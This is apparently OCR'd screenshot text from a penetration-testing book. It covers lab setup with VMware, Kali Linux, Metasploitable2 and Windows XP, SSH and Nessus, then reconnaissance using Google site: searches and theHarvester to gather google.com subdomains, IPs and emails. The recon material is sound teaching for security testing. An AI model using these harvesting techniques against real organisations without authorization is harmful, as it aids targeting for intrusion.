Chapter 1: Getting Started

Player v | - st

A Home Welcome to VMware Workstation 12
Player

(& Create a New Virtual Machine

|55 )

= Create a new virtual machine, which will then be added to the top of your library.
s

Open a Virtual Machine

] | Open an existing virtual machine, which will then be added to the top of your
=~ library.

Get advanced features such as snapshots, virtual network management, and
mare.

— l Upgrade to VMware Workstation Pro

Help
w© View online help.

== This product is not licensed and is authorized for non-commercial use only. For
=4 commercial use, purchase a license. Buy now.




Welcome to the New Virtual Machine Wizard

& virtual machine is like a physical computer; it needs an operating
system. How will you install the guest operating system?

Install fram:
() Installer disc:

= DVD Drive (D:)

(®) Installer discimage file {iso):

| 20 Browse...

@ Select the installer disc image to continue.

()1 will install the operating system later,
The virtual machine will be created with a blank hard disk.

Help < Bacdk Mext = Cancel
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Select a Guest Operating System
Which operating system will be installed on this virtual machine?

Guest operating system
() Microsoft Windows

@ Linux

() Movell NetWare

() Solaris
() other

ersion (

Debian 8.x w

Help « Back Mext = Cancel
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Mew Virtual Machine Wizard

Mame the Virtual Machine
What name would you like to use for this virtual machine?

Virtual machine name:

| Demo |
Location:
| C:\UsersMichael Hixon'\Documents\yirtual Machines\Demo | Browse. ..
<oack o
Mew Virtual Machine Wizard o
Specify Disk Capacity

How large do you want this disk to be?

The virtual machine's hard disk is stored as one or more files on the host
computer's physical disk. These file(s) start small and become larger as you
add applications, files, and data to your virtual machine,

Maximum disk size (GE): 0. 0

Recommended size for Debian 8.x: 20 GB

(O store virtual disk as a single file

(@) Split virtual disk into multiple files

Splitting the disk makes it easier to move the virtual machine to another
computer but may reduce performance with very large disks,

Help < Back Cancel
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MNew Virtual Machine Wizard

Ready to Create Virtual Machine
Click Finish to create the virtual machine. Then you can install Debian 8.x.

The virtual machine will be created with the following settings:

Mame: Demo
Location: C:Waers\Michael Hixon'\Documentsvirtual Machinesh...
Version: Workstation 12.0

Cperating System: Debian 8.x

Hard Disk: 12 GB, Split

Memory: 512 MB

Metwork Adapter:  NAT

Other Devices: CD/DVD, USB Controller, Printer, Sound Card

Customize Hardware...

< Back Cancel
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Hardware

. Memory
Device Summary
’ Specify the amount of memory allocated to this virtual
| EMOFY 512 MB machine, The memory size must be a multiple of 4 MB,
[ Processors 1
“yNew CD/OVD (... Using file C:\Users\Michael Hixon... Memory for this virtual machine: 512 == MB
TElNetwork Adapter NAT
USE Cantraller Present &4 GE
@ | Sound Card Auto detect 1nGe
.E-:]Printer Present 165G
Bl
;DISDIW Auto detect 2GB @ Maximum recommended memory
4GB (Memory swapping may
- 4 occur beyond this size.)
158 1535 MB
EiZ ME
-4 [H Recommended memory
256 ME
512 MB
128 ME
€4 MB < [ Guest 05 recommended minimum
22 &4 MB
16 ME
EMB
4 MBE
Gndd. = Remaove
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Player =

@ Home

B
g

Demo

State: Powered Off
0S: Debian 8.x
Version: Workstation 12.0 virtual machine
RAM: 512 MB

P Play virtual machine

Eﬂj Edit virtual machine settings
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Y - |

Add View

Name

VMWARE VCLOUD AIR

Virtual Machine Library

Start Up Settings Snapshots

Status

Delete
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Select the Installation Method

‘E\ Import an existing PC

partition

Og@ Install from Boot Camp

== Install OS X from the recovery

=» | Import an existing virtual machine

N {c:  Create a custom virtual machine

Create a virtual machine o
server

Install from disc or image

n a remote
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Linux Easy Install

With Easy Install, VMware Fusion will use the information provided here to automatically install
Ubuntu 64-bit Server 16.10 from your installation disc and install drivers to optimize your virtual
machine.

Use Easy Install

Display Name: Michael Hixon
Account Name: michaelhixon
Password:

Confirm Password:

| Make your home folder accessible to the virtual machine
The virtual machine can  Read & Write

'?) | Cancel | . GoBack |
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Finish

The configuration of the virtual machine is now complete.

Virtual Machine Summary
Guest Operating System Ubuntu 64-bit Server 16.10
New Hard Disk Capacity 20 GB
Memory 1 GB
Networking Share with my Mac (NAT)

Device Summary CD/DVD, USB Controller, Printer, Sound
Card

To change the default virtual machine settings, click Customize Settings. To
run the virtual machine now, click Finish.

Customize Settings

Cancel | |  Go Back \
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ST - |

> ) L) (0]
Add View Start Up Settings Snapshots Delete
VIRTUAL MACHINES .
b Ubuntu 64-bit Server 16.10 2 >
Ubuntu 64-bit
@] Kali Linux

(8

Metasploitable2-Linux

@) CentOS 7 - 1511 (64bit)

VMWARE VCLOUD AIR

Notes

Hard Disks
2.6 MB

Virtual Machine Library

Snapshots
0 bytes

I Reclaimable

ubuntu®
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ubuntu®

all Ubuntu Server
MAAS R
Expert mode
x acpi=off
X noapic
% nolapic
edd=on
nodmraid
nomodeset

Free software only
F3 Keymap F4 Modes F5

1 [!] Configure the keyboard |

You can try to have your keuboard lavout detected by pressing a series of keus. If vou do
not want to do this, you will be able to select your kevhoard lavout from a list.

Detect keuboard layout?

<GD Back> <Yesy <1 o)

| [11 configure the network |
Please enter the hostname for this system.

The hostname is a single word that identifies uour sustem to the network. If you don't
know what your hostname should be, consult your network administrator. If you are setting
up your own home network, you can make something up here.

Hostname:

bt

<Go Back: <Cantinues
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1 [11] Set up users and passwords |
Select a username for the new account. Your first name is a reasonable choice. The
username should start with a lower-case letter, which can he followed by any combination
of numbers and more lower-case letters.

Username for your account:

hutch

<Go Back> <Cont inue>

| 111 configure the clock |
Based on Jour present phusical location, vour time zone is AmericasMew_%York.
If this is not correct, you may select from a full list of time zones instead.

Is this time zone correct?

<Go Back: <No»

1 [11] Partition disks |
The installer can guide you through partitioning a disk (using different standard
schemes) or, if you prefer, you can do it manually. With guided partitioning you will
still hawve a chance later to review and customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk
should be used.

Partitioning method: L\

Guided - use entire disk

ik Lp LWH
Guided - use entire disk and set up encrupted LWM
Manual

<Go Back:

| [!!] Partition disks |

Note that all data on the disk uyou select will be erased, but not hefore you have
confirmed that you really want to make the changes.

Select disk to partition:

<0 Back:
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[ 117 Partition disks |

You may use the whole volume group for guided partitioning, or part of it. If you use
only part of it, or if you add more disks later, then you will be able to grow logical
volumes later using the LWM tools, so using a smaller part of the volume group at
installation time may offer more flexibility.

The minimum size of the selected partitioning recipe is 2.0 GBE (or 9%); please note that
the packages uou choose to install may reguire more space than this. The maximum
avallable size is 21.0 GB.

Hint: "max" can he used as a shortcut to specify the maxfgnum size, or enter a percentage
{e.g. "20%") to use that percentage of the maximum size.

Amount of wolume group to use for guided partitioning:

<Go Back: <Cont inue:

I [1] Configure the package manager I

If you need to use a HTTP proxy to access the outside world, enter the proxy information

here. Otherwise, leave this blank.

The proxy information should be given in the standard form of
"http:s s [[user] [:pass] @lhost [zport] <", &

HTTP praoxy information (hlank for none):

<Go Back: <Cont inues

| [!1 Configuring tasksel |
Applying updates on a freguent basis is an important part of keeping your system secure.
By default, updates need to be applied manually using package management tools.
Alternatively, you can choose to have this system automatically download and install
security updates, or you can choose to manage this system over the web as part of a group
of systems using Canonical's Landscape serwvice.

How do you want to manage upgrades on this system? Qﬂ

Mo automatic updates
Install security updates automatically
Manage system with Landscape

[15]



[ 11 software selection F
At the moment, only the core of the system is installed. To tune the system to your
needs, you can choose to install one or more of the following predefined collections of
software.

Choose software to install:

<Continue>

| 111 Install the GRUE boot loader on a hard disk |

It seems that this new installation is the only operating sustem on this computer. If so,
it should be safe to install the GRUB hoot loader to the master boot record of your first
hard drive.

Warning: If the installer failed to detect another operating system that is present on

your computer, modifying the master boot record will make that operating sustem
temporarily unhootable, though GRUB can be manually configured later to boot it.

Install the GRUB hoot loader to the master hoot record?

<0 Back: Mok

ZIP -

metasploitable- Metasploitable2-
linux-2.0.0.zip Linux
873.1 MB 5 items
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Metasploitable.nvram
Metasploitable.vmdk

. — ™
Metasploitable.vmsd
Metasploitable.vmxf
VMX

Name Metasploitable.vmx
Kind VMware virtual ma...

Size 3 KB
Created 5/21/12, 12:46 AM
Modified 5/21/12, 12:46 AM
Last opened 5/21/12, 12:46 AM

Warning: Never pose this UM to an untrusted network?

Contact: msfdevliatImetasploit.com

Login with msfadmins/msfadmin to get started

metasploitable login:

[17]



£ g Voo
3 Windows

windows XP Professional Setup
Collecting

information P lize Your Sofl e

Setup uses the information you provide about yourself to personalize your Windows

Dynamic XP software
Update

Preparing
installation £ Type your full name and the name of your company or organization,

Mame: |J ustin Hutchens

. Finalizing
installation Organization: |Packt Publishing

Setup will complete
approximately:
33 minutes

Windows XP Professional Setup |

Computer Name and Administrator Password
You must provide a name and an Administrator password for your computer.

1l Setup has suggested a name for your computer. If your computer is on a
netwark, vour network administrator can tell you what name to use.

Computer name: DemaxP

Setup creates a user account called Administrator, ‘Yiou use this account when
you need full access to your computer,

Type an Administrator password.

Administrator password: I'“ LLLLL

Confirm password: I"“l se|

< Back I Nest > a
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Windows XP Professional Setup =1

‘Workgroup or Computer Domain

A workgroup is a collection of computers that have the same workgroup name. A
domain is & collection of computers defined by a network. administrator.

Do you want this computer to be a member of a domain?
['You may need to obtain this information from your network administratar. )

I Mo, this computer is not on a network, of is on a network without a domain.
Make this computer a member of the fallowing work group:

|WEIF|KI3HDUP1

€~ Yes, make this computer a member of the following domain:

< Back I NeuDIEl

Help protect your PC

With Automatic Update n mputer and install them
automatically. These updates can i e sec y

# Help protect my PC by turning on Automatic Updates now
(recommended)

our cormpute:
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Windows Components Wizard

Windows Components
You can add or remove components of Windows XP.

To add of remove a component, click the checkbox. A shaded box means that only
part of the component will be installed. To see what's included in a component, click

Details.
Components:
W .. Management and Monitoring Tools 20MB
(] 5 Message Queuing 0.0MB
W VMSN E xplorer 20.7 MB
¥ 29 Networking Services 0.3MB
|71 3= Nither Network File and Print Savices nnMR ¥

Description: Includes tools for monitoring and improving network performance.

Total disk space required: 548 MB
Space available on disk: 38992.4 MB

r ~

Management and Monitoring Tools rzl

To add or remove a component, click the check box. A shaded box means that only part
of the component will be installed. To see what's included in a component, click Details.

Subcomponents of Management and Monitoring Tools:
vl gSimple Network Management Protocol 0.9MB
M 2 WMl SNMP Provider 1.1 MB

Description:  Allows client applications to access static and dynamic SNMP information
through Windows Management Instrumentation (WMI).

Total disk space required: 56.8MB
Space available on disk: 38992.4 MB

Details

[ ok || cancel |
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Please insert the Compact Disc labeled "Windows XP
] Professional Service Pack 2 CD' into yowr CD-ROM

drive [D:) and then click OK.

‘You can also click OK if you want files to be copied
from an alternate location, such as a floppy disk or a
network. server.

Enable CD/DVD Drive ON .

This CD/DVD drive is configured to use the following:

| |5 Windows XP Pro SP2.iso &)

» Advanced options

General | Exceptions | Advanced

ws Firewall is helping to protect your PC

Windows Firewall helps protect your computer by preventing unauthorized users
from gaining access to your computer through the Internet or a network.

@ C On (recommended)

This setting blocks all outside sources from connecting to this
computer, with the exception of those selected on the Exceptions tab.

Don't allow exceptions
Select this when you connect to public networks in less secure
locations, such as airports. You will not be notified when Windows

Firewall blocks programs. Selections on the Exceptions tab will be
ignored.

@ () Off (not recommended)

Avoid using this setting. Turing off Windows Firewall may make this
computer more vulnerable to viruses and intruders.
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Choose Operating System

Select the operating system for this virtual machine:

Microsoft Windows »  Asianux 4
Apple 0OS X »  Asianux 4 64-bit
Linux »  Asianux Server 3
Novell NetWare »  Asianux Server 3 64-bit
Solaris » CentOS
VMware ESX »  CentOS 64-bit
Other »  Debian 8.x
Debian 8.x 64-bit
Debian 7.x
Debian 7.x 64-bit
Debian 6
Debian 6 64-bit
Debian 5
Debian 5 64-bit
? Cancel Go Back Continue
Processors
1 processor core <
Memory
512 { MB
4MB 512 MB 16384 MB

(recommended)

ﬂ 15872 MB remaining for your Mac

» Advanced options
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KAL

~the quicter youw bECOmey the more you are able to hear™

Boot menu

Live (amd64)

Live (amdG64 failsafel

Live (forenzic mode)

Live USEB, Persistence (check kali.org-/prst)
Live USB Encrypted Persistence (check kali.org/prst)
Install

Graphical install

Install with speech synthesis

Advanced options
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[!] Configure the network

The domain name is the part of your Internet address to the right of your host name. It
is often something that ends in .com, .net, .edu, or .org. If you are setting up a home
network, you can make something up, but make sure you use the same domain name on all
your computers.

Domain name:

<Go Back>
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[11] Set up users and passwords

You need to set a passward for 'root', the sustem administrative account. @& malicious or
ungualified user with root access can have disastrous results, so you should take care to
choose a root password that is not easy to guess. It should not be a word found in
dictionaries, or a word that could be easily associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be
changed at regular intervals.

The root user should not have an empty password. If you leave this empty, the root
account will be disabled and the system's initial user account will be given the power to
become root using the "sudo' command.

Note that you will not be able to see the password as you type it.

Root pass{.glaur“d:

<Go Back: <Cont inue:
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[1] Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language'
and select a country that uses the desired time zone (the country where you live or are
located).

Select your time zone:

I
Centra
Mountain
Pacific
flaska

QP Hawaii
Arizona
East Indiana
Samoa

<Go Back>
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[11] Partition disks |
The installer can guide you through partitioning a disk (using different standard
schemes) or, if you prefer, you can do it manually. With guided partitioning you will
still have a chance later to review and customise the results.

If you choose guided partitioning for an entire disk, you will next he asked which disk
should he used.

Partitioning method:

- use entire disk and set up LYM
Guided - use entire disk and set up encrypted LWM
Manual

<Go Back>
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[!] Configure the package manager

A network mirror can be used to supplement the software that is
This may also make newer versions of software available.

Use a network mirror?

<Go Back>

iﬁ?luded on the CD-ROM.
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[!] Configure the package manager |

If you need to use a HTTP proxy to access the outside world, enter{Qhe proxy information

here. Otherwise, leave this hlank.

The proxy information should be given in the standard form of
"http:// [ [user] [:pass] @ host [zport] 2.

HTTP proxy information (blank for none):

<Go Back>

<Continue>

[29]




[!] Install the GRUB boot loader on a hard disk |

It seems that this new installation is the only operating system on this computer. If so,
it should be safe to install the GRUB boot loader to the master hoot record of your first
hard drive.

Warning: If the installer failed to detect another operating sustem that is present on
your computer, modifying the master boot record will make that operating system
temporarily unbootable, though GRUB can be manually configured later to hoot it.
Install the GRUB hoot loader to the master boot record?

<Go Back:>

<Tab> mo

File Edit View Search Terminal Help
:~# vim vim_demo. txtf]

File Edit View Search Terminal Help

Write to fil

-- INSERT --

e demonstration with VIMY

File Edit View Search Terminal Help

vimidemo.f t

Write to ﬁl
~/ex# 1

x# 1s

x# cat vim_demo.txt
demonstration with VIM

[30]



File Edit View Search Terminal Help
:~/ex# nano nano_demo. txtf]

|File Edit View Search Terminal Help
GNU nano 2.7.3

File: nano demo.txt Modified

Write to file demonstration with Nanol]

Get Help K Write Out gl Where Is g Cut Text A Justify Cur Pos Bj Prev Page First Line
M-/

B Exit fill Read File @\ Replace ! Uncut Text @] To Spell gl Go To Line @Y Next Page Last Line g

File Edit View Search Terminal Help
i~/ex# 1s
nano_demo.txt wim demo.txt
ex# cat nano_demo.txt

Write to file demonstration with Nano

File Edit View Search Terminal Help

File Edit View Search Terminal Help

"fetc/apt/sources.list” 1L, 65C

[31]



File

Edit

View Search Terminal

Help

:~# apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -yjJj

File Edit View Search Terminal Help
:~# apt-get install openssh-serverf]

File E

Reading state information...

openssh-server is already the newest version (1:7.4pl-5).

dit

View Search

Terminal Help

:~# apt-get install openssh-server
Reading package lists... Done
Building dependency tree

Done

The following packages were automatically installed and are no longer required:
gnome-system-log libmagickcore-6.ql6-2
Use 'apt autoremove' to remove them

0 upgraded

newly installed, 0 to remove and 0 not upgraded.

File Edit View Search Terminal Help

File Edit

e ssh.service -
ded:
ive:
PID:

Loa
Act
Main

25
25
25
25
25
25
25

06

View Search
i~# service

2332

06:

a6

25 @

25 6

Terminal Help
ssh status

ited, sta

i sshd[2332]:

OpenBSD Secure Shell server
loaded (/1ib/systemd/system/ssh.service
inactive (dead) since Wed 2017-01-25 06:54:29 EST; 5s ago

tus=0/SUCCESS)

/etc/ssh/sshd config line 18: Deprecated

: /etc/ssh/sshd config line 19: Deprecated

li systemd[1]:
1 sshd[2332]:

sshd[2332]:

i systemd[1]:
i sshd[2332]:
i systemd[1]:

fet'fsshfsshd:tonfig line 30: Depr ted
/etc/ssh/sshd_config line 37: Deprecated
Reloaded OpenBSD Secure Shell server.
Server listening on 6.0.8.0 port 22,
Server listening on port 22.

Stopping OpenBSD Secure Shell server...
Received signal 15; terminating

Stopped OpenBSD Secure Shell server

option
option
option
option

nabled; vendor preset: disabled)

RegenerationInterval
ServerKeyBits
RSAAuthentication
RhostsRSAAuthentication

File Edit View Search

:~# service
:~# service

Terminal Help
ssh start
ssh statusfl
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File Edit View Search Terminal Help
:~# service ssh start
] rvice ssh status
o ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/1lib/systemd/system/ssh rvice; enabled; vendor preset: disabled)
Active: active (running) since Wed 2017-01-25 06:56:32 EST; 57s ago
Main PID: 7667 (sshd)
Tas 1 (limit: 4915)
CGroup: /system.slic

25 06: kali systemd[1]:

25 : kali sshd[7667]: / pre option enerationInterval
25 : 32 kali sshd[7667]: / s sshd config line : i option ServerKeyBits

25 b kali sshd[7667]: / y /sshd _config line : Depr option RSAAuthentication

25 kali sshd[7667] c/ shd_config line 37: 2d option RhostsRSAAuthentication
25 086: kali sshd[7667]: rver listening on .0 port 22.

25 06: kali sshd[7667]: listening on :: port 22.

25 : kali systemd[1]: Started OpenBSD Secure Shell server.

File Edit View Search Terminal Help
:~# vim /usr/sbin/update-rc.d [
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File Edit View Search Terminal Help

TA

¥
# List of blacklisted init scripts
#

#apache2 disabled

avahi-daemon disabled

bluetooth disabled

couchdb disabled

cups disabled

dictd disabled

exim4 disabled

iodined disabled

minissdpd disabled

nfs-common disabled
bsd-inetd disabled

postfix disabled

postgresql disabled

rpcbind disabled

saned disabled

#ssh disabled

winbind disabled

tinyproxy disabled

pure-ftpd disabled

#

# List of whitelisted init scripts
#

acpid enabled
acpi-fakekey enabled
acpi-support enabled
alsa-utils enabled
anacron enabled
atd enabled
atop enabled
binfmt-support enabled
bootlogs enabled
bootmisc.sh enabled
checkfs.sh enabled
checkroot-bootclean.sh enabled
checkroot.sh enabled
console-setup enabled
cpufrequtils enabled
cron enabled
cryptdisks-early enabled
cryptdisks enabled
dbus enablef]
ebtables enabled
etc-setserial enabled
fetchmail enabled
gdm3 enabled
hdparm enabled

136,12

File Edit View Search Terminal Help

:~# update-rc.d ssh defaults
# update-rc.d ssh enable

= |

[34]



File Edit View Search Terminal Help

:~# ssh root@l72.16.69.133
The authenticity of host '172.16.69.133 (172.16.69.133)' can't be established.
ECDSA key Tingerprint is SHA256:Pm8OPm7VVijwnOp8rBJR/124uoYKm9OBBUM7CBXmGhA.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '172.16.69.133' (ECDSA) to the list of known hosts.
root@l72.16.69.133's password:

Last login: Sun Jan 29 09:55:57 2017 from 172.16.69.135

-
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it% PuTTY Configuration 2

Cateqgary:
=) Session Basic options for your PuTTY session
_I_"" I..Dglging Specify the destination you want to connect to
kalizzbnard Host Name (or IF address) Port
.. Bell 172.16.36.232 22
- Features Connection type:
= Window JRaw () Telnet (7) Rlogin @ S5H () Seral
;ppea@nce Load, save or delete a stored session
- Behaviour
... Tranelation Saved Sessions
- Selection
 Colours Defautt Settings Lo
—|- Connection —
- Prosey
Rlagin
4~ 55H
""" Sefial Close window on exit:
) Always ) Never @ Only on clean exit

rem

into the machi
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Michaels-MacBook-Pro:

- o/ I
I | |
I — I
| |

Last login: S

michaelhixon$

2017 from 192

Download Nessus
Please Select Your Operating System

»  Microsoft Windows

» Mac OS X
Debian ) / Deb ) i Linux t

Opening Nessus-5.2.6-debian6.i386.deb

You have chosen to open:
|| Nessus=5.2.6-debian6.i386.deb

which is a: Debian package (28.4 MB)

from: http://downloads.nessus.org

Would you like to sa\k this file?

‘ Cancel Save File

[371]



File Edit View Search Terminal Help
~# 1s
book Downloads Music Public
Desktop Dropbhox Templates
Documents ex Pictures Videos
:~# dpkg -1 Nessus-6.9.3-debianb_amd64.deb
Selecting previously unselected package nessus.
(Reading database ... 321140 files and directories currently installed.)
Preparing to unpack Nessus-6.9.3-debian6 amd64.deb ...
Unpacking nessus (6.9.3)
Setting up nessus (6.9.3)
Unpacking Nessus Core Components...
nessusd (Nessus) 6.9.3 [build M20076] for Linux
Copyright (C) 1998 - 2016 Tenable Network Security, Inc

Processing the Nessus plugins
[#4# HEEE R

All plugins loaded (lsec)

- You can start Nessus by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner

Processing triggers for systemd (232-8)
~# I

This Connection is Untrusted

You have asked Firefox to connect securely to 172.16.36.244:8834, but we can't confirm
that your connection is secure.

e

Normally, when you try to connect securely, sites will present trusted identification to prove
that you are going to the right place. However, this site's identity can’t be verified.

What Should | Do?

If you usually connect to this site without problems, this error could mean that someone is
trying to impersonate the site, and you shouldn't continue.

Get me out of here!
Technical Details

| Understand the Risks

| Understand the Risks

If you understand what's going on, you can tell Firefox to start trusting this site's
identification. Even if you trust the site, this error could mean that someone is
tampering with your connection.

Don't add an exception unless you know there's a good reason why this site doesn't use
trusted identification.

Add Exception...
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Initial Account Setup

First, we need to create an admin user for the scanner. This user will
have administrative control on the scanner; the admin has the ability to
create/delete users, stop ongoing scans, and change the scanner
configuration.
Login: hutch
Password: eessesse

Confirm Password: eseesssss

< Prev Next >

Plugin Feed Registration

As information about new vulnerabilities is discovered and released
into the public domain, Tenable's research staff designs programs
("plugins") that enable Nessus to detect their presence. The plugins
contain vulnerability information, the algorithm to test for the presence
of the security issue, and a set of remediation actions. Enter your
Activation Code below to subscribe to a "Plugin Feed".

Please enter your
Activation Code:

{8

hutch

Nessus

home

Remember Me
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Chapter 2: Reconnaissance

Target

Domain/subdomains

IP addresses

Open ports

0S/services

Vulnerabilities
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Go g Ie site:google.com 3 Q

Al Images News Shopping Maps More Settings Tools

About 2,600,000,000 results (029 seconds)

Google

https:/'www.google.com/ ~

Search the world's information, including webpages, Images, videos and more. Google has many special
features to help you find exactly what you're looking ...

Google Cloud Platform: Google Cloud Computing, Hosting Services ...
https://cloud.google.com/ =

Google Cloud Platform lets you build and host applications and websites, store data, and analyze data
on Geogle's scalable infrastructure.

Inbox by Gmail - the inbox that works for you - Google
httpe:i/www.google.com/inbox/ +

Inbox by Gmail is a new app from the Gmail team. Inbox is an organized place to get things done and get
back to what matters. Bundles keep emails arganized.

Google for Nonprofits - Fundraising, Collaboration & More
https://www.google.com/nonprofits/

‘When you aim to solve big problems, you need to have the right toals. Google for Monprofits offers tools
for fundraising, collabaration, spreading your message .

Diversity - Google

https:/fwww.google.com/diversity/ *

We're working toward a web that includes everyone. Our approach aims to strengthen diversity at
Google and increase opportunities overall,

G Suite — Gmail, Drive, Docs and More

https://gsulte google.com/ v

Do your best work with Google's suite of intelligent apps (formerly Google Apps). Get business email,
video conferencing, online storage and file sharing.

Google AdMob - Mobile App Monetization & In App Advertising ...
https://www.google.com/admob/ =

Earn more from your mobile apps using Google AdMob. Use in-app advertising to generate revenue,
imprave user experience, and scale your business.

Google Analytics Solutions - Marketing Analytics & Measurement ...
https://www.google.com/analytics/ ~

Google Analytics Solutions offer free and enterprise analytics tools to measure website, app, digital and
offline data ta gain customer insights.

Google I/0 2017

https:{www.google.com/fio =

Google 1/0 brings together developers from around the globe for an immersive experience focused on
exploring the next generation of tech.

May 17 -May 19 Shoreline Amphitheatre Mountain View, California

Google Duo - The simple video calling app

https://duo.google.com/ »

Google Duo is the new, simple video calling app that brings you face-to-face with all the people that
matter most.

Go gle >

1234567891 Next

5 - Use precise location - Leam more
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Go g Ie site:google.com -site:www.google.com

AN Images News Shopping Maps More Settings Tools

About 2,600,000,000 results (0.52 seconds)

Google Cloud Platform: Google Cloud Cemputing, Hosting Services ...
https:/icloud.google.com/ *

Google Cloud Platform lets you bulld and host applications and websites, store data, and analyze data
‘on Google's scalable infrastructure,

Google Translate

https:/itranslate google.com/ =

Gaogle's free service instantly translates words, phrases, and web pages between English and over 100
«other languages.

G Suite - Gmail, Drive, Docs and More

hips:/gsuite.goegle.com/ ~

Do your best work with Google's suite of intelligent apps (formerly Google Apps). Get business email,
video conferencing, online starage and file sharing.

Google Duo - The simple video calling app.

https://duo.google.com/ *

Google Duo is the new, simple video calling app that brings you face-to-face with all the people that
matter most.

Google Domains = Google

https:#/domains.google.com/ ~

Search for and register a domain, get hosting, and build a site with Google Domains. The best of the
internet backed by the security of Google.

Shap Pixel, Chromecast, and more at Google Store

https://store. google.com/ +

Official Gongle Store for Google devices and accessories. Buy Pixel, Gaogle Home, Daydream View,
Chromecast, Google Wifi, Pixel C, Android Wear, Nest, and ...

The Keyword | Google

https:#blog.google.com/ =

6 days ago - Discover all the latest about our products, technology, and Google culture on our official
blog.

Firebase

https:/ifirebase.google.com/ v

Firebase gives you the tools and Infrastructure you need to build better apps and grow successful
businesses,

OnHub - Google
https://on google.com/ v
Meet OnHub, a new router from Google that's built for all the ways you Wi-Fi.

Google Developers

https://developers.google.com/ v

Google /0 2017. May 17 - 19, Mountain View. Watch the Google Keynote, Developer Keynote, and all
sessions in real-time on google.com/ia o by joining an 1/0 ..,

® New ur Inter iress - Use precise location - Learn more

Help  Sendfeedback  Privacy  Terms
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Go gle site:google.com -site:www.google.com -site:cloud google.com -site:trans !; Q

All Images News Shopping Maps More Settings Tools

About 2,600,000,000 results (0.66 seconds)

Google Photos - All your photos organized and easy to find
https://photos.google.com/ «

All your photos are backed up safely, crganized and labeled automatically, so you can find them fast, and
share them how you like.

Google Hangouts

https://hangouts.google.com/ =

Hangouts bring conversations to life with photos, emoji, and even group video calls for free. Connect
with friends across computers, Android, and Apple devices.

Moving on from Picasa

https://picasa.google.com/

‘We've decided to retire Picasa in order to focus on a single photo service in Google Photos - a new,
smarter photo app that works seamlessly across mobile and

Welcome to My Activity

https./myactivity.google.com/

Find and see your search history, browsing histary, and other activity that's saved to your Google
Account in My Activity. You're in control of this data and can ...

Google Family Link - Home
https://families.google.com/familylink/ «
Stay in the loap as your kid explores on their Android device.

Blogger.com - Create a unique and beautiful blog. It's easy and free.
https://picasa,.google.com/blogger/ «

Publish your passions your way. Whether you'd like to share your knowledge, experiences or the latest
news, create a unique and beautiful blog for free.

What's Hot - Google+
https://plus.google.com/explore *
Discover amazing things and connect with passionate people.

Google for Education: Bringing Learning Online
htipe://edu.google. com/trust/ «
This webpage explains Google's privacy and security commitments for the tools we provide for schaals.

Daydream View — Made by Google

https://madeby.google.com/vr/

Daydream View Is a VR headset and controller by Google that lets you explore new warlds, kick back in
your personal VR cinema, and play games that put you ..

Google's Business Mapping Solutions - Google Cloud
https://enterprise_google.com/maps/ ~

Google Maps empawers you to create beautiful maps for your sites, apps and intemal platforms. See
how locatien intelligence can open new growth possibilities ...

Go gle >

123456782910 Next
@ New York your Inteme dress - Use precise location - Learn more
Help Send feedback Privacy Terms
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File Edit View Search Terminal Help
:~# theharvester

e o o e ok ok o ok Ok e ol e e ok ol o O e o e e e ol ol ok e o R e e o e o ol ol o R e o o e o e o o ol e o o ke fe o o o
*

o | JANRVAN
* | 7'

ML
* \ | |

*
* TheHarvester Ver. 2.7

* Coded by Christian Martorella

* Edge-Security Research

* cmartorella@edge-security.com

e s ok o ok o o ook o o sk ok oo skl o o o sk ok sk ok ok s ok o ok o ook o ok ok oo oo o o o ok ok ko ok kol sk ok ok ok

\

*
*
*
*
*
*
*
*
*
*
*

Usage: theharvester options

-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
google-profiles, jigsaw, twitter, googleplus, all

: Start in result number X (default: 0)
: Verify host name via dns resolution and search for virtual hosts
: Save the results into an HTML and XML file (both)
: Perform a DNS reverse guery on all ranges discovered
~: Perform a DNS brute force for the domain name
: Perform a DNS TLD expansion discovery
: Use this DNS server
: Limit the number of results to work with(bing goes from 58 to 50 results,
google 160 to 108, and pgp doesn't use this option)
: use SHODAN database to query discovered hosts

Examples:
theharvester -d microsoft.com -1 560 -b google -h myresults.html
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -1 200 -b linkedin
theharvester -d apple.com -b googleCSE -1 500 -s 300

e |
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# theharvester google.com -1 500 -b google

s o KK K o oK R K R kK Rk bk R

TANNAY *
NS AR WA Y ¥
I/ F T NV AN *
| NN AW *
TheHarvester Ver. 2.7 *
Coded by Christian Martorella *
Edge-Security Research *
cmartorellagedge-security.com x

*
*
+
¥
*
*
*
*
*
*
*
B e e ST e

[-]1 Searching in Google:
Searching @ results...
Searching 100 results...
Searching 200 results..
Searching 300 results...
Searching 480 results..
Searching 588 results...

[+] Emails found:

Resolving hostnames IPs...
.217.6.205:accounts.google. com
.217.6.206:books .google. com
.217.6.206:chrome.google. com
.217.6.206:cla.developers.google.com
.217.6.206:code.google. com
.217.6.206:developer.google. com
.217.6.206:drive.google.com
.217.6.206:hangouts.google. com
.217.6.206: images.google.com
.217.6.197:mail.google.com
.217.6.206 :maps .google. com
.217.6.206:news.google. com
.239.32.10:ns1.google. com
:ns2.google.com
:ns4.google.com
:photos.google.com
:play.google.com
:plus.google. com
:translate.google.com
:www.google. com

e 1= ¢ S 1 Te
:~# theharvester -d google.com -1 580 -b linkedin

T T g R L L R R e T R P T T e S e

JANPAY
A A AW AV Y
I/ /(] NV A\
| N/ N AR B

TheHarvester Ver. 2.7

Coded by Christian Martorella

Edge-Security Research *
cmartorellagedge-security.com *

g T e e S P T

*
*
¥
*
*
*
*
¥
*
+
*
*

[-1 Searching in Linkedin..
Searching 108 results..
Searching 200 results..
Searching 300 results..
Searching 400 results..
Searching 500 results..

Users from Linkedin:




File Edit View Search Terminal Help

o o R R R R R R KR

tian Martorella

*
¥
*
*
*
¥
*
*
*
*
*

L e e P T

rching in
earching
arching
archi
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Terminal Help

arin-contact@google. con
pixel-1494858915577087 -web-@google. com

Hosts found in search engines:

Resolving hostnames IPs...
.217.6.205:accounts. google. com
.217.6.266:books . google.com
.217.6.206:code.google.com
.217.6.206:developers.google. com
.217.6.206:docs. google. com
.217.6.206:duo.google.com
-217.6.206:earth.google.com
.217.6.206: finance.google.com
.194.205.101:groups. google. com
